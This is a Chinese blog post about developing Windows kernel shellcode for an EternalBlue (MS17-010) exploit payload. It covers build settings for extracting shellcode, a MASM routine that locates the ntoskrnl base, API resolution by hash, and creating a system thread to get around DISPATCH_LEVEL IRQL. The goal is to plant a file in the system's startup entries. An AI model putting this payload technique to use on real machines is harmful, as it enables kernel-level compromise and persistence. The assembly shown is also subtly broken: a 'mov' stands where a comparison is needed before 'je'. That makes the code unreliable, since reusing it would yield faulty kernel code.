编写Windows Kernel Shellcode
网上流传的永恒之蓝漏洞利用代码中，关于内核shellcode部分，大部分都是利用APC注入的。
最近有个想法，直接利用内核代码执行权限，来写文件，于是就抄起了VS，开始写shellcode，开始以为和R3下面写shellcode一样简单。
新建个驱动的项目，按照下面修改项目的属性，然后动态获取API，再调API完成自己的功能。
// C/C++
// |-常规
// | |-调试信息格式：程序数据库（/Zi）
// | *-SDL检查：否（/sdl-）
// |-优化
// | |-优化：使大小最小化（/01）
// | |-内联函数扩展：已禁用（/0b0）
// | |-启用内部函数：否
// | |-优选大小或者速度：代码大小优先（/0s）
// | *-全程序优化：是（/GL）
// |-代码生成
// | |-基本运行时检查：默认值
// | |-安全检查：禁用安全检查（/GS-）
// | *-启用函数级连接：是（-Gy）
// 连接器
// |-常规
// | *-启用增量连接：否（/INCREMENTAL:NO）
// |-调试
// | |-生成映射文件：是（/MAP）
// | *-映射文件名：mapfile
// *- 优化
// |-引用：是（/OPT:REF）
// |-启用COMDAT折叠：是（/OPT:ICF）
// *-函数顺序：FunctionOrder.txt
// -[注：FunctionOrder.txt控制编译器按照指定顺序将COMDAT放到映像文件中]
项目属性配置好以后，开始写shellcode，计算要使用的内核API的名称hash，为了方便计算，我写了一个简单的MFC程序。
刚开始遇到的第一个问题就是如何获取nt的基址，在内核中所有api都是从ntoskrnl.exe中导出的。
参考这个git项目 https://github.com/worawit/MS17-010.git，里面有内核shellcode的asm文件，文件中有获取nt基址的部分。
但是这个asm文件是NASM的语法，导致我用vs直接编译不了，还需要弄个nasm的编译环境。
最后我修改为MASM版本，最终得到的获取ntoskrnl.exe基址的MASM汇编如下：
.CODE
PUBLIC _getNtBase
_getNtBase PROC
push rbx
mov rax,QWORD PTR gs:[038h]
mov rax,QWORD PTR[rax+04h]
shr rax,0Ch
shl rax,0Ch
_find_nt_walk_page:
mov rbx,QWORD PTR[rax]
mov bx,05A4Dh
je _found
sub rax,1000h
jmp _find_nt_walk_page
_found:
pop rbx
ret
_getNtBase ENDP
END
https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。
把以上代码保存为demo.asm，添加到创建的vs驱动项目中，右键该文件，选择属性，修改项类型为： Mircrosoft Macro Assembler。
这段汇编代码，导出了一个名为_getNtBase的函数，在vs项目中使用这个函数，需要用extern声明一下才能使用。
extern HMODULE _getNtBase();
然后开始编译我的vs项目，在编译时，又遇到第二个问题： vs项目中的指定函数编译顺序的FunctionOrder.txt，对这个asm中的函数不起作用。
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___safe_se_handler_table 0000000000000000 <absolute>
0000:00000000 __guard_fids_count 0000000000000000 <absolute>
0000:00000000 __guard_flags 0000000000000000 <absolute>
0000:00000000 ___safe_se_handler_count 0000000000000000 <absolute>
0000:00000000 __guard_fids_table 0000000000000000 <absolute>
0001:00000000 Entry 0000000140001000 f main.obj
0001:00000048 EntryPoint 0000000140001048 f main.obj
0001:00000354 Hash_CmpString 0000000140001354 f main.obj
0001:00000378 GetFunAddrByHash 0000000140001378 f main.obj
0001:00000420 Unload 0000000140001420 f main.obj
0001:00000430 DriverEntry 0000000140001430 f main.obj
0001:00000470 _getNtBase 0000000140001470 f demo.obj // <---- here
0001:0000049a __C_specific_handler 000000014000149a f ntoskrnl:ntoskrnl.exe
无论我怎么调整顺序，这个_getNtBase函数永远排在main.obj中所有函数后面，这意味着，我在提取shellcode时，必须把一些main.obj中无用的函数也提取上。
最后我的解决办法也很粗暴，先用masm编译这个demo.asm， 拿到二进制机器码，再拼后面直接拼接我的shellcode..
这个demo.asm获取nt基址的代码执行完，结果最终放在rax中。
IRQL级别问题，这个也是卡了我时间最久的，我的shellcode思路如下：
1.获取需要的api
2.初始化需要的字符串
3.调用IoCreateFile
4.ZwWriteFile
5.ZwClose
以上思路用VS写，直接编译成驱动后，安装并运行，测试功能ok！
然后我用IDA提取shellcode，使用windbg强制改RIP，跳转到我shellcode中执行。
参考一位同事写的一篇笔记《内核调试shellcode》：
https://www.cnblogs.com/goabout2/p/7875372.html
强改RIP后，shellcode前面部分执行ok，但是执行IoCreateFile这个函数的时候，就蓝屏。 一直中断到内核函数内部。
上面windbg断下后，看起来是rax取到了错误的值导致的，甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数。
经过分析，排除是参数的问题，因为前面我写完shellcode，直接编译成驱动文件，安装执行，功能都ok的。
怀疑是IRQL级的问题，使用!irql命令可以查询处理器的IRQL级别，漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL。
而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。
为了测试，是不是IRQL造成的，我尝试强制在shellcode调用IoCreateFile前面，添加一个降级的代码，如下所示：
// 获取当前IRQL级别
KIRQL CurrentIRQL = My_KeGetCurrentIrql();
// 修改当前IRQL级别为PASSIVE
if (CurrentIRQL > PASSIVE_LEVEL)
{
My_KeLowerIrql(PASSIVE_LEVEL);
}
My_KeGetCurrentIrql();
再次调试分析，并查询降级后的IRQL级别，确认为LOW_LEVEL了，也就是PASSIVE级别。
无奈，运行到IoCreateFile，还是蓝屏了。
分析蓝屏信息，结果还是说我IRQL级别为2，说明我那个修改不生效！
不能主动降IRQL级别，除非这个级别是手动提升的。
经过参考一些资料，如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码：
https://community.osr.com/discussion/235732
https://bbs.pediy.com/thread-84588.htm
https://www.oipapio.com/cn/article-6485155
https://blog.csdn.net/liyun123gx/article/details/30500703
经过一番查找资料，大家都是推荐创建一个内核线程来做的，于是我就将shellcode最开始的代码改成了创建内核线程。
VOID Entry()
{
HMODULE hKeyModule = getNtBase();
typedef NTSTATUS(*PtrPsCreateSystemThread)(
_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext
);
PtrPsCreateSystemThread My_PsCreateSystemThread = (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
HANDLE hThread;
My_PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint, hKeyModule);
}
在EntryPoint函数中执行我IoCreatefile的一些操作！！ 终于这一次不蓝屏了，文件成功被写入了启动项！！！
另外分享一份关于编写内核shellcode的资料，感觉很有用！
http://uninformed.org/index.cgi?v=3&a=4
- End -
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